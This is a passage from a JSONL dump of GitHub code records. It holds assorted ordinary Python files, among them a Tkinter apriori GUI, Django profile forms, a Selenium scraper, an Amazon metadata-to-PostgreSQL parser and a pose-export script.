row=0)\r\n\r\net1=Entry(window,text=\"\")\r\n\r\net1.grid(column=2,row=0)\r\n\r\nlbl2 = Label(window, text=\"Confidance\", font=(\"Arial Bold\",40))\r\n\r\nlbl2.grid(column=0, row=2)\r\n\r\net2=Entry(window,text=\"\")\r\n\r\net2.grid(column=2,row=2)\r\n\r\n\r\nimport pandas as pd\r\n\r\nfrom mlxtend.preprocessing import TransactionEncoder\r\nfrom mlxtend.frequent_patterns import apriori,association_rules\r\n\r\ndef abc():\r\n\r\n te=TransactionEncoder()\r\n te_ary=te.fit(dataset).transform(dataset)\r\n df=pd.DataFrame(te_ary,columns=te.columns_)\r\n print(df)\r\n\r\n\r\n print(apriori(df,min_support=0.6))\r\n\r\n print(apriori(df,min_support=0.6,use_colnames=True))\r\n\r\n\r\n frequent_itemset=apriori(df,min_support=0.6,use_colnames=True)\r\n def retrieve_input():\r\n inputValue=et1.get(\"1.0\",END)\r\n print(inputValue)\r\n frequent_itemset['length']=frequent_itemset['itemsets'].apply(lambda x: len(x))\r\n print(frequent_itemset)\r\n\r\n print(frequent_itemset[(frequent_itemset['length']==2)&(frequent_itemset['support']>=0.8)])\r\n\r\n rules=association_rules(frequent_itemset,metric='confidence',min_threshold=0.7)\r\n\r\n print(rules)\r\n\r\n\r\nbtn1=Button(window,text=\"Show frequent item set\",command=abc)\r\n\r\nbtn1.grid(column=1,row=6)\r\n\r\nbtn2=Button(window,text=\"Strong rule\",command=abc)\r\n\r\nbtn2.grid(column=1,row=7)\r\n\r\n\r\nwindow.mainloop()","repo_name":"BagalDipti/MiniProjects_Python","sub_path":"Apriory.py","file_name":"Apriory.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69907036402","text":"#\n# The version name and number to display in the title bar of the \n# FlexTools window.\n# This can be customised for apps that are built on FlexTools.\n#\n\nName = \"FLExTools\"\n\nVersion = \"2.3.0\"\n\nTitle = f\"{Name} {Version}\"\n","repo_name":"cdfarrow/flextools","sub_path":"FlexTools/scripts/Version.py","file_name":"Version.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"73554708403","text":"#if __name__ == '__main__':\n\n# Dictionnaries\nphonebook = {\n \"bob\": 7387,\n \"alice\": 3719,\n \"jack\": 7052,\n}\n\nsquares = {x: x * x for x in range(6)}\n\n# OrderedDict\nimport collections\nd = collections.OrderedDict(one=1, two=2, three=3)\n\n# defaultdict\nfrom collections import defaultdict\ndd = defaultdict(list)\n\n# Accessing a missing key creates it and\n# initializes it using the default factory,\n# i.e. list() in this example:\ndd[\"dogs\"].append(\"Rufus\")\n# A new list containing \"Rufus\" is created and associated to the key \"dogs\"\ndd[\"dogs\"].append(\"Kathrin\")\n\n# ChainMap\n# concat multiple dicts\n# chain contient les pointeurs vers les dicts\n# les dicts peuvent être modifié et pris en\n# compte sans redéfinition de la variable 'chain'\nfrom collections import ChainMap\ndict1 = {\"one\": 1, \"two\": 2}\ndict2 = {\"three\": 3, \"four\": 4}\nchain = ChainMap(dict1, dict2)\ndict1[\"five\"]=5\nprint(chain[\"five\"])\n\n# Read only dict\nfrom types import MappingProxyType\nread_only = MappingProxyType(dict1)\n\n# Tableau typé de float\nimport array\narr = array.array(\"f\", (1.0, 1.5, 2.0, 2.5))\n\n# Immutable array of single bytes < 256\narr = bytes((0, 1, 2, 3))\nprint(arr[1])\n\n# Mutable array of single bytes\narr = bytearray((0, 1, 2, 3))\n\n\n# create Numpy array\nfrom numpy import array\nl = [1.0, 2.0, 3.0]\na = array(l)\nprint(a)\nprint(a.shape)\nprint(a.dtype)\n# [1. 2. 3.]\n# (3,)\n# float64\n\n# Création d'une class avec attributs typés\nfrom dataclasses import dataclass, fields\nfrom pydantic import validate_arguments\n\n# Validate argument allows to pass numeric as String and understand cast True as 1.0\n# It throws an error if mileage=\"aaa\"\n@validate_arguments\n@dataclass\nclass Car:\n color: str\n mileage: float\n automatic: bool\n\n # Add post_init to check data types (or add pydantic validate_arguments decorator)\n def __post_init__(self):\n for field in fields(self):\n value = getattr(self, field.name)\n if not isinstance(value, field.type):\n raise ValueError(f'Expected {field.name} to be {field.type}, '\n f'got {repr(value)}')\n\n\n# Counter allows to aggregate dict with integer as value\n# Also allows to count char in a string : c = Counter('abcdeabcdabcaba')\n# c.most_common(3)\nfrom collections import Counter\ninventory = Counter()\n\nloot = {\"sword\": 1, \"bread\": 3}\ninventory.update(loot)\ninventory\n#Counter({'bread': 3, 'sword': 1})\n\nmore_loot = {\"sword\": 1, \"apple\": 1}\ninventory.update(more_loot)\n#inventory\n#Counter({'bread': 3, 'sword': 2, 'apple': 1})","repo_name":"indyMccarthy/python-data-structure","sub_path":"examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35505868848","text":"import json\nimport pandas as pd\nimport selenium\nimport sqlalchemy as sa\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom tqdm import tqdm\n\n\nclass AG:\n def __init__(self):\n CHROME_BIN_LOCATION = r'C:/Program Files/Google/Chrome/Application/chrome.exe'\n CHROME_DRIVER_LOCATION = r'D:\\Питон\\chromedriver.exe'\n USER_DATA_DIR = r'C:\\environments\\selenium'\n options = selenium.webdriver.chrome.options.Options()\n service = selenium.webdriver.chrome.service.Service(CHROME_DRIVER_LOCATION)\n options.add_argument(f'user-data-dir={USER_DATA_DIR}')\n options.add_argument('--disable-popup-blocking')\n options.binary_location = CHROME_BIN_LOCATION\n self.driver = selenium.webdriver.Chrome(options=options, service=service)\n self.driver.maximize_window()\n\n def get_page(self, agency):\n baseurl = fr'https://bus.gov.ru/public/agency/receipts-and-units.json?agency={agency}'\n self.driver.get(baseurl)\n self.driver.execute_script('window.scroll(0,document.body.scrollHeight)')\n\n def get_info(self, agency):\n self.get_page(agency)\n WebDriverWait(self.driver, 3).until(EC.presence_of_element_located((By.XPATH, '/html/body/pre')))\n soup = (BeautifulSoup(self.driver.find_element(By.XPATH, \"/html/body/pre\").get_attribute('outerHTML'),\n \"html.parser\")).text\n data = json.loads(soup)\n df_tmp = pd.DataFrame(data)\n df_tmp.insert(loc=0, column='agency', value=agency)\n df_tmp.to_csv('agency_api.csv', sep=';', mode='a', index=False, header=False)\n\n\nif __name__ == '__main__':\n with open('agency_after_inn.txt', 'r', encoding='utf-8') as f: # файл создается из кода main_bus_gov_public\n agencies = f.readlines()\n print(f'agencies: {agencies}')\n agi = [x.replace('\\n', '') for x in agencies]\n \n tmp = AG()\n for i in tqdm(agi):\n tmp.get_info(i)\n","repo_name":"mikhayluv/bonus_track","sub_path":"parsers/agency_api.py","file_name":"agency_api.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"10869754025","text":"import heapq\nclass Solution:\n def findKthLargest(self, nums: [int], k: int) -> int:\n heap = []\n for num in nums[:k]:\n heapq.heappush(heap, num)\n for num in nums[k:]:\n if num > heap[0]:\n heapq.heappop(heap)\n heapq.heappush(heap, num)\n return heap[0]","repo_name":"krahets/CodingSolution","sub_path":"leetcode_python/215. Kth Largest Element in an Array.py","file_name":"215. Kth Largest Element in an Array.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"75"} +{"seq_id":"73476453361","text":"# pylint: disable=unused-argument\nfrom charms.reactive import when, when_not\nfrom charms.reactive import set_state, remove_state\nfrom charmhelpers.core import hookenv\nfrom charms.layer.gobblin import Gobblin\nfrom charms.layer.hadoop_client import get_dist_config\n\n\n@when_not('hadoop.ready')\ndef report_blocked():\n hookenv.status_set('blocked', 'Waiting for relation to Hadoop Plugin')\n\n\n@when('hadoop.ready')\n@when_not('gobblin.installed')\ndef install_gobblin(hadoop):\n gobblin = Gobblin(hadoop.version(), get_dist_config())\n if gobblin.verify_resources():\n hookenv.status_set('maintenance', 'Installing Gobblin')\n gobblin.install()\n set_state('gobblin.installed')\n\n\n@when('gobblin.installed', 'hadoop.ready')\n@when_not('gobblin.started')\ndef configure_gobblin(hadoop):\n hookenv.status_set('maintenance', 'Setting up Gobblin')\n gobblin = Gobblin(hadoop.version(), get_dist_config())\n gobblin.setup_gobblin(hadoop.namenodes()[0], hadoop.hdfs_port())\n set_state('gobblin.started')\n hookenv.status_set('active', 'Ready')\n\n\n@when('gobblin.started')\n@when_not('hadoop.ready')\ndef stop_gobblin():\n remove_state('gobblin.started')\n","repo_name":"juju-solutions/layer-gobblin","sub_path":"reactive/gobblin.py","file_name":"gobblin.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34714199007","text":"from django import forms\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom .models import UserProfile\r\n\r\n\r\nclass UserForm(forms.ModelForm):\r\n \"\"\"\r\n User model form.\r\n \"\"\"\r\n username = forms.CharField(\r\n label='Username', \r\n max_length=120,\r\n widget=forms.TextInput(attrs={'class':'form-control js-validate-username', 'name':'username'}),\r\n )\r\n first_name = forms.CharField(\r\n label='First Name',\r\n required=False, \r\n max_length=120,\r\n widget=forms.TextInput(attrs={'class':'form-control', 'name':'first_name'}),\r\n )\r\n last_name = forms.CharField(\r\n label='Last Name', \r\n required=False,\r\n max_length=120,\r\n widget=forms.TextInput(attrs={'class':'form-control', 'name':'last_name'}),\r\n )\r\n email = forms.EmailField(\r\n label='Email Address', \r\n widget=forms.EmailInput(attrs={'class':'form-control js-validate-email', 'name':'email'}),\r\n )\r\n\r\n class Meta:\r\n model = User\r\n fields = ['username', 'first_name', 'last_name', 'email']\r\n\r\n def __init__(self, *args, **kwargs):\r\n self.request = kwargs.pop(\"request\", None)\r\n super(UserForm, self).__init__(*args, **kwargs) \r\n\r\n def clean_username(self):\r\n \"\"\"\r\n Validate username.\r\n \"\"\"\r\n username = self.cleaned_data.get(\"username\")\r\n # check if the username has already been used. \r\n if User.objects.filter(username__iexact=username).exclude(username__iexact=self.request.user.username).exists():\r\n raise forms.ValidationError(\"An account with this Username already exists.\")\r\n return username \r\n\r\n def clean_email(self):\r\n \"\"\"\r\n Validate email.\r\n \"\"\"\r\n email = self.cleaned_data.get(\"email\")\r\n # check if the email has already been used. \r\n if User.objects.filter(email__iexact=email).exclude(email__iexact=self.request.user.email).exists():\r\n raise forms.ValidationError(\"An account with this Email already exists.\")\r\n return email\r\n\r\n\r\nclass ProfileForm(forms.ModelForm):\r\n \"\"\"\r\n Profile model form.\r\n \"\"\"\r\n photo = forms.ImageField(\r\n required=False,\r\n widget=forms.FileInput\r\n )\r\n bio = forms.CharField(\r\n label='Bio', \r\n required=False,\r\n max_length=200,\r\n widget=forms.TextInput(attrs={'class':'form-control', 'name':'bio'}),\r\n )\r\n facebook = forms.URLField(\r\n label='Facebook',\r\n required=False, \r\n max_length=100,\r\n widget=forms.URLInput(attrs={'class':'form-control', 'name':'facebook'}),\r\n )\r\n twitter = forms.URLField(\r\n label='Twitter',\r\n required=False, \r\n max_length=100,\r\n widget=forms.URLInput(attrs={'class':'form-control', 'name':'twitter'}),\r\n )\r\n instagram = forms.URLField(\r\n label='Instagram',\r\n required=False, \r\n max_length=100,\r\n widget=forms.URLInput(attrs={'class':'form-control', 'name':'instagram'}),\r\n )\r\n website = forms.URLField(\r\n label='Website',\r\n required=False, \r\n max_length=100,\r\n widget=forms.URLInput(attrs={'class':'form-control', 'name':'website'}),\r\n )\r\n private_account = forms.BooleanField(\r\n label='Private Account',\r\n required=False,\r\n initial=False,\r\n )\r\n\r\n class Meta:\r\n model = UserProfile\r\n fields = ['photo', 'bio', 'facebook', 'twitter', 'instagram', 'website', 'private_account']","repo_name":"OmarFateh/Instagram-Clone","sub_path":"profiles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"75107749362","text":"import psycopg2\nimport re\n\n# definicao das expressoes regulares referente os dados de interesse presentes no arquivo\nreg_dic = {\n 'id': re.compile(r'Id: (?P\\d+)\\n'),\n 'asin': re.compile(r'ASIN: (?P.*)\\n'),\n 'title': re.compile(r'title: (?P.*)\\n'),\n 'group': re.compile(r'group: (?P<group>.*)\\n'),\n 'salesrank': re.compile(r'salesrank: (?P<salesrank>.*)\\n'),\n 'similar': re.compile(r'similar: (?P<similar>.*)\\n'),\n 'categories': re.compile(r'categories: (?P<categories>\\d+)\\n'),\n 'reviews': re.compile(r'reviews: (?P<reviews>.*)\\n')\n}\n\n\n# definicao da estrutura que guarda os dados extraidos\nCHUNK_DIC = {\n \"groups\": set(),\n \"products\": [],\n \"reviews\": [],\n \"categories\": {},\n \"hierarchy\": [],\n \"categories_hierarchy\": []\n }\n\n# definicao do esquema das tabelas presentes no banco de daddos\ndef create_schema():\n commands = [\n \"\"\"\n CREATE TABLE groups (\n name VARCHAR(50),\n CONSTRAINT pk_groups_name PRIMARY KEY (name)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE products (\n asin CHAR(10),\n id INT UNIQUE,\n title VARCHAR(500),\n salesrank INT,\n groupName VARCHAR(50),\n CONSTRAINT pk_products_asin PRIMARY KEY (asin),\n FOREIGN KEY (groupName) REFERENCES groups(name)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE similarProducts (\n productAsin CHAR(10),\n similarProductAsin CHAR(10),\n PRIMARY KEY (productAsin, similarProductAsin),\n FOREIGN KEY (productAsin) REFERENCES products(asin),\n FOREIGN KEY (similarProductAsin) REFERENCES products(asin)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE reviews (\n productAsin CHAR(10),\n reviewDate DATE,\n customerId CHAR(14),\n number INT,\n rating INT NOT NULL,\n votes INT NOT NULL,\n helpful INT NOT NULL,\n PRIMARY KEY (reviewDate, productAsin, customerId, number),\n FOREIGN KEY (productAsin) REFERENCES products(asin)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE categories (\n id INT,\n name VARCHAR(100),\n CONSTRAINT pk_categories_id PRIMARY KEY (id)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE hierarchy (\n productAsin CHAR(10),\n number INT,\n PRIMARY KEY (productAsin, number),\n FOREIGN KEY (productAsin) REFERENCES products(asin)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE categories_hierarchy (\n hierarchyProductAsin CHAR(10),\n hierarchyNumber INT,\n categoriesId INT,\n rank INT NOT NULL,\n PRIMARY KEY (hierarchyProductAsin, hierarchyNumber, categoriesId),\n FOREIGN KEY (hierarchyProductAsin, hierarchyNumber) REFERENCES hierarchy(productAsin, number),\n FOREIGN KEY (categoriesId) REFERENCES categories(id)\n );\n \"\"\",\n \"\"\"\n CREATE OR REPLACE FUNCTION insert_product() RETURNS TRIGGER AS\n $$\n BEGIN\n IF NOT EXISTS (SELECT 1 FROM products WHERE asin = NEW.similarProductAsin) THEN\n INSERT INTO products(asin) VALUES(NEW.similarProductAsin);\n END IF;\n RETURN NEW;\n END\n $$\n LANGUAGE PLPGSQL;\n \"\"\",\n \"\"\"\n CREATE TRIGGER similares\n BEFORE INSERT ON similarProducts\n FOR EACH ROW\n EXECUTE PROCEDURE insert_product();\n \"\"\"\n ]\n print(\"******* CREATING SCHEMA *******\")\n conn = None\n try:\n conn = psycopg2.connect(\n host=\"localhost\",\n database=\"productsdb\",\n user=\"nabson\",\n password=\"pass\"\n )\n cur = conn.cursor()\n \n for command in commands:\n cur.execute(command)\n \n cur.close()\n conn.commit()\n\n print(\"> Esquema criado.\\n\")\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"** Erro ao criar esquema:\", error)\n finally:\n if conn is not None:\n conn.close()\n\n\n# parser da linha do arquivo, identifica o valor de atributo a ser extraido presente na linha\n# recebe como parametro uma linha do arquivo de entrado do parser_file\n# retorna a chave (key) e a combinação (match) satifeita por uma das expressões regulares\ndef parse_line(line):\n for key, rx in reg_dic.items():\n match = rx.search(line)\n if match:\n return key, match\n return None, None\n\n\n# parser do arquivo que contem os dados a serem extraídos \n# recebe como parametro o diretorio do arquivo a ser parseado\n# retorna os dados extraidos do arquivo de entrada\ndef parse_file(filepath):\n # calculo de divisao dos dados em particoes para evitar o multiplo acesso ao BD\n chunk_size = int(0.1 * 548552)\n chunk_cnt = 1\n chunk_data = {\n \"groups\": set(),\n \"products\": [],\n \"similarProducts\": [],\n \"reviews\": [],\n \"categories\": {},\n \"hierarchy\": [],\n \"categories_hierarchy\": []\n }\n\n product_data = ()\n productAsin = -1\n total_products = 0\n product_asins_object = {}\n\n print(\"******** PARSING FILE ********\")\n print('> Chunk', chunk_cnt)\n print(' [1/4] Carregando dados...')\n\n # inicio da leitura do arquivo com os dados de interesse\n with open(filepath, 'r') as file_object:\n line = file_object.readline()\n while line:\n\n key, match = parse_line(line)\n\n # tratamento do valor de atributo retornado pelo parser_file\n # de acordo com o atributo correspondente ao valor da chave retornada pela Ex. regular\n if key == 'id':\n if (productAsin != -1 ):\n if (len(product_data) < 5):\n product_data = product_data + (None,None,None)\n chunk_data['products'].append(product_data)\n total_products += 1\n productId = int(match.group('id'))\n product_data = (productId,)\n\n # tratamento do atributo 'asin'\n elif key == 'asin':\n productAsin = match.group('asin')\n product_asins_object[productAsin] = True\n product_data = product_data + (productAsin,)\n\n # tratamento do atributo 'title'\n elif key == 'title':\n product_data = product_data + (match.group('title'),)\n\n # tratamento do atributo 'group'\n elif key == 'group':\n groupName = match.group('group')\n product_data = product_data + (groupName,)\n chunk_data['groups'].add((groupName,))\n\n # tratamento do atributo 'salesrank'\n elif key == 'salesrank':\n product_data = product_data + (int(match.group('salesrank')),)\n\n # tratamento do atributo 'similar products'\n elif key == 'similar':\n similar_products_asin = match.group('similar').split(' ')[1:]\n for similar_asin in similar_products_asin:\n chunk_data['similarProducts'].append((productAsin, similar_asin))\n\n # tratamento do atributo 'categories'\n elif key == 'categories':\n total_hierarchy = int(match.group('categories'))\n for i in range(total_hierarchy):\n hierarchy = (productAsin, i)\n chunk_data['hierarchy'].append(hierarchy)\n line = re.split('\\||\\[|\\]', file_object.readline())[1:]\n rank = 1\n j = 0\n while j < len(line):\n categorie_name = line[j]\n categorie_id = line[j+1]\n try:\n categorie_id = int(categorie_id)\n except (ValueError):\n categorie_id = line[j+3]\n j+=2\n chunk_data['categories_hierarchy'].append((hierarchy[0], hierarchy[1], categorie_id, rank))\n chunk_data['categories'][categorie_id] = None if categorie_name == '' else categorie_name\n rank+=1\n j+=3\n\n # tratamento do atributo 'reviews'\n elif key == 'reviews':\n reviews = match.group('reviews')\n total_reviews = int(reviews.split(' ')[4])\n for i in range(total_reviews):\n line = list(filter(lambda a: a != \"\", file_object.readline().split(' ')))\n review_date = line[0]\n customer_id = line[2]\n rating = int(line[4])\n votes = int(line[6])\n helpful = int(line[8])\n chunk_data['reviews'].append((productAsin, review_date, customer_id, i, rating, votes, helpful))\n\n # verificando se o valor de dados de chunks e' igual tamanho total dos dados\n if (total_products >= chunk_cnt * chunk_size):\n print(' [2/4] Dados carregados.')\n print(' [3/4] Escrevendo dados no banco...')\n chunk_data['groups'] = list(chunk_data['groups'])\n chunk_data['categories'] = [(id, name) for id, name in chunk_data['categories'].items()]\n chunk_data['products'] = chunk_data['products']\n insert_products(chunk_data)\n\n # iterando sobre o numero de chunks\n print(' [4/4] Dados escritos.')\n chunk_cnt += 1\n chunk_data = {\n \"groups\": set(),\n \"products\": [],\n \"similarProducts\": [],\n \"reviews\": [],\n \"categories\": {},\n \"hierarchy\": [],\n \"categories_hierarchy\": []\n }\n print('> Chunk ', chunk_cnt)\n print(' [1/4] Carregando dados...')\n\n line = file_object.readline()\n\n # tratamente de produtos dos campos similar products mas que nao estao listados na base\n # adiciona a lista de produtos apenas com as informacoes de Id e Asin\n if (len(product_data) < 5):\n product_data = product_data + (None,None,None)\n chunk_data['products'].append(product_data)\n total_products += 1\n\n # 'fim' de um chunck e chamada da funcao de escrita no banco \n print(' [2/4] Dados carregados.')\n print(' [3/4] Escrevendo dados no banco...')\n chunk_data['groups'] = list(chunk_data['groups'])\n chunk_data['categories'] = [(id, name) for id, name in chunk_data['categories'].items()]\n insert_products(chunk_data)\n print(' [4/4] Dados escritos.')\n print('******** PARSER END ********')\n\n\n# insercao dos dados extraidos nas relacoes 'products', 'categories_hierarchy', 'categories', 'reviews' e 'groups'\n# recebe como parametro os dados que \ndef insert_products(data):\n insert_commands = {\n \"groups\": \"\"\"\n INSERT INTO groups(name) \n VALUES (%s) \n ON CONFLICT ON CONSTRAINT pk_groups_name \n DO NOTHING\n \"\"\",\n \"products\": \"\"\"\n INSERT INTO products(id, asin, title, groupName, salesrank) \n VALUES (%s, %s, %s, %s, %s) \n ON CONFLICT ON CONSTRAINT pk_products_asin\n DO UPDATE SET \n title = EXCLUDED.title, \n groupName = EXCLUDED.groupName, \n salesrank = EXCLUDED.salesrank, \n id = EXCLUDED.id;\n \"\"\",\n \"similarProducts\": \"\"\"\n INSERT INTO similarProducts(productAsin, similarProductAsin) \n VALUES (%s, %s)\n \"\"\",\n \"reviews\": \"\"\"\n INSERT INTO reviews(productAsin, reviewDate, customerId, number, rating, votes, helpful) \n VALUES (%s, %s, %s, %s, %s, %s, %s)\n \"\"\",\n \"categories\": \"\"\"\n INSERT INTO categories \n VALUES (%s, %s) \n ON CONFLICT ON CONSTRAINT pk_categories_id \n DO NOTHING\n \"\"\",\n \"hierarchy\": \"\"\"\n INSERT INTO hierarchy(productAsin, number) \n VALUES (%s, %s)\n \"\"\",\n \"categories_hierarchy\": \"\"\"\n INSERT INTO categories_hierarchy(hierarchyProductAsin, hierarchyNumber, categoriesId, rank) \n VALUES (%s, %s, %s, %s)\n \"\"\"\n }\n\n conn = None\n try:\n conn = psycopg2.connect(\n host=\"localhost\",\n database=\"productsdb\",\n user=\"nabson\",\n password=\"pass\"\n )\n cur = conn.cursor()\n cur.executemany(insert_commands[\"groups\"], data[\"groups\"])\n cur.executemany(insert_commands[\"products\"], data[\"products\"])\n cur.executemany(insert_commands[\"similarProducts\"], data[\"similarProducts\"])\n cur.executemany(insert_commands[\"reviews\"], data[\"reviews\"])\n cur.executemany(insert_commands[\"categories\"], data[\"categories\"])\n cur.executemany(insert_commands[\"hierarchy\"], data[\"hierarchy\"])\n cur.executemany(insert_commands[\"categories_hierarchy\"], data[\"categories_hierarchy\"])\n conn.commit()\n cur.close()\n except psycopg2.DatabaseError as error:\n print(error)\n finally:\n if conn is not None:\n conn.close()\n\nif __name__ == '__main__':\n filepath = 'amazon-meta.txt'\n create_schema()\n data = parse_file(filepath)","repo_name":"foolnando/trabalho01BD01","sub_path":"data/tp1_3.2.py","file_name":"tp1_3.2.py","file_ext":"py","file_size_in_byte":13986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32003956756","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport json\nimport argparse\n\nfrom utils import readlines\nfrom layers import *\n\n\ndef export_gt_depths_SCARED():\n\n parser = argparse.ArgumentParser(description='export_gt_pose')\n\n parser.add_argument('--data_path',\n type=str,\n help='path to the root of the KITTI data',\n required=True)\n parser.add_argument('--split',\n type=str,\n help='which split to export gt from',\n required=True,\n choices=[\"eigen\", \"eigen_benchmark\", \"endovis\"])\n opt = parser.parse_args()\n\n split_folder = os.path.join(os.path.dirname(__file__), \"splits\", opt.split)\n lines = readlines(os.path.join(split_folder, \"test_files.txt\"))\n print(\"Exporting ground truth depths for {}\".format(opt.split))\n\n gt_Ts = []\n for line in lines:\n folder, frame_id, _ = line.split()\n frame_id = int(frame_id)\n\n # pose\n f_str_0 = \"frame_data{:06d}.json\".format(frame_id - 1)\n f_str_1 = \"frame_data{:06d}.json\".format(frame_id)\n path_0 = os.path.join(\n opt.data_path,\n folder,\n \"image_02/data/frame_data\",\n f_str_0)\n path_1 = os.path.join(\n opt.data_path,\n folder,\n \"image_02/data/frame_data\",\n f_str_1)\n with open(path_0, 'r') as path0:\n data_0 = json.load(path0)\n with open(path_1,'r') as path1:\n data_1 = json.load(path1)\n data_0 = np.linalg.pinv(np.array(data_0['camera-pose']))\n data_1 = np.array(data_1['camera-pose'])\n T = (data_1 @ data_0).astype(np.float32)\n\n gt_Ts.append(T)\n\n output_path = os.path.join(split_folder, \"gt_poses.npz\")\n\n print(\"Saving to {}\".format(opt.split))\n\n np.savez_compressed(output_path, data=np.array(gt_Ts))\n\n\nif __name__ == \"__main__\":\n export_gt_depths_SCARED()\n","repo_name":"ShuweiShao/AF-SfMLearner","sub_path":"export_gt_pose.py","file_name":"export_gt_pose.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"75"} +{"seq_id":"19591963276","text":"from typing import List, Union, Any, Dict, Tuple\nimport numpy as np\nimport abc\nfrom abc import ABC, abstractmethod\nimport cv2\nfrom collections import deque\nfrom enum import Enum\nimport copy\nimport open3d as o3d\n\n\nclass Direction(Enum):\n \"\"\"Pre-defined Direction\"\"\"\n\n CTR = 0 # origin\n TOP = 1 # top\n BOT = 2 # bottom\n LFT = 3 # left\n RIT = 4 # right\n TOPLFT = 5 # top left\n TOPRIT = 6 # top right\n BOTLFT = 7 # bottom left\n BOTRIT = 8 # bottom right\n\n\n# Helper functions\ndef draw_rectangle(event, x, y, flags, params, img, rectangles):\n \"\"\"Draw a rectangle on the image\"\"\"\n if event == cv2.EVENT_LBUTTONDOWN:\n rectangles.append([x, y])\n elif event == cv2.EVENT_LBUTTONUP:\n rectangles[-1].extend([x, y])\n cv2.rectangle(\n img,\n (rectangles[-1][0], rectangles[-1][1]),\n (rectangles[-1][2], rectangles[-1][3]),\n (255, 0, 255),\n 2,\n )\n\n\ndef draw_occupancy_map(occupancy_map, vis_scale=1.0):\n \"\"\"Draw the occupancy map\"\"\"\n # color for the occupied cells\n color = (0, 0, 255) # Blue color for occupied cells\n image_vis = np.zeros((occupancy_map.shape[0], occupancy_map.shape[1], 3), dtype=np.uint8)\n image_vis[occupancy_map == 1] = color\n # flip the image because occupancy map is saved as (x+, y+), but image is (y-, x+)\n image_vis = np.flipud(image_vis.transpose(1, 0, 2))\n # resize the image\n image_vis = cv2.resize(\n image_vis,\n (image_vis.shape[1] * vis_scale, image_vis.shape[0] * vis_scale),\n interpolation=cv2.INTER_NEAREST,\n )\n\n grid_color = (50, 50, 50) # Gray color for grid\n for i in range(0, image_vis.shape[0], vis_scale):\n cv2.line(image_vis, (0, i), (image_vis.shape[1], i), grid_color, 1)\n for j in range(0, image_vis.shape[1], vis_scale):\n cv2.line(image_vis, (j, 0), (j, image_vis.shape[0]), grid_color, 1)\n\n return image_vis\n\n\ndef draw_color_map(color_map, vis_scale=1.0):\n \"\"\"Draw the color map\"\"\"\n image_vis = np.copy(color_map)\n # resize the image\n # flip the image because occupancy map is saved as (x+, y+), but image is (y-, x+)\n image_vis = np.flipud(image_vis.transpose(1, 0, 2))\n # resize the image\n image_vis = cv2.resize(\n image_vis,\n (image_vis.shape[1] * vis_scale, image_vis.shape[0] * vis_scale),\n interpolation=cv2.INTER_NEAREST,\n )\n\n grid_color = (0, 0, 0) # Gray color for grid\n for i in range(0, image_vis.shape[0], vis_scale):\n cv2.line(image_vis, (0, i), (image_vis.shape[1], i), grid_color, 1)\n for j in range(0, image_vis.shape[1], vis_scale):\n cv2.line(image_vis, (j, 0), (j, image_vis.shape[0]), grid_color, 1)\n\n return image_vis\n\n\nclass Region(ABC):\n \"\"\"Region in physical space\"\"\"\n\n grid_size: Union[List[int], None] # size of the grid\n resolution: float # resolution of the grid\n region_map: np.ndarray # region map in xy plane\n world2region: np.ndarray # tf from world to region, region origin is the position of (0, 0)\n connected: bool # if region is connected\n region_pcd: Union[o3d.geometry.PointCloud, None] # point cloud of the region\n\n def __init__(\n self,\n resolution: float,\n grid_size: Union[List[int], None] = None,\n world2region: np.ndarray = np.eye(4, dtype=np.float32),\n name: str = \"region\",\n **kwargs,\n ):\n \"\"\"Initialize a region in physical space\"\"\"\n self.grid_size = grid_size\n self.resolution = resolution\n self.name = name\n # tf from world to region\n self.world2region = world2region\n # region map\n self.region_map = None # reflecting occupancy and depth\n self.color_map = None # top-down image\n self.connected = True\n # pcd\n self.region_pcd = None\n\n @abstractmethod\n def __contains__(self, item):\n \"\"\"Check if a point is inside the region\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def iou(self, other: \"Region\") -> float:\n \"\"\"Compute the intersection over union between two regions\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def visualize(self, **kwargs):\n \"\"\"Visualize the region\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def grid_points_3d(self, **kwargs):\n \"\"\"Get the grid points in the region\"\"\"\n raise NotImplementedError\n\n def save(self, path: str):\n \"\"\"Save the region\"\"\"\n np.savez(\n path,\n grid_size=self.grid_size,\n resolution=self.resolution,\n region_map=self.region_map,\n color_map=self.color_map,\n world2region=self.world2region,\n name=self.name,\n connected=self.connected,\n )\n\n def load(self, path: str):\n \"\"\"Load the region\"\"\"\n data = np.load(path)\n self.grid_size = data[\"grid_size\"]\n self.resolution = data[\"resolution\"]\n self.region_map = data[\"region_map\"]\n self.color_map = data[\"color_map\"]\n self.world2region = data[\"world2region\"]\n self.name = data[\"name\"]\n self.connected = data[\"connected\"]\n\n def 